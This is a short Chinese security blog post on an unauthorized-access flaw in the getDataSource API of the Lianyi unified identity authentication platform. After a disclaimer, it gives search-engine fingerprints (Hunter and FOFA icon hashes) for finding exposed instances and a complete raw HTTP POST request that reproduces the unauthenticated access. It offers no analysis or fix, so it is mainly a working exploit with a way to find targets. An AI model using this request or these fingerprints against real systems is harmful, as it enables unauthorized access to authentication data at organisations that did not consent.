当前位置： 首页> 网络安全> 正文

联奕统一身份认证平台getDataSource未授权访问漏洞

漏洞描述

如棠安全的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！！

联奕统一身份认证平台getDataSource未授权访问漏洞

资产测绘

鹰图：web.icon=="7aa6546d2ecf33dc38c7587642aaf739"

fofa：icon_hash="772658742"

漏洞复现

POST /api/bd-mdp/serviceManager/outInterface/getDataSource HTTP/1.1

Host:xxx.xxx.xxx.xxx

User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36

Content-Length: 0

Accept-Charset: utf-8

Accept-Encoding: gzip, deflate

Connection: close

image.png

本文由作者笔名：来护儿 于 2024-08-04 00:59:39发表在本站，原创文章，禁止转载，文章内容仅供娱乐参考，不能盲信。
本文链接： https://www.xn--ubt767m.wang/wen/5954.html

上一篇
PowerCreatorCMS UploadResourcePic 任意文件上传漏洞

下一篇
新开普掌上校园 service.action 远程命令执行

相关文章

最新文章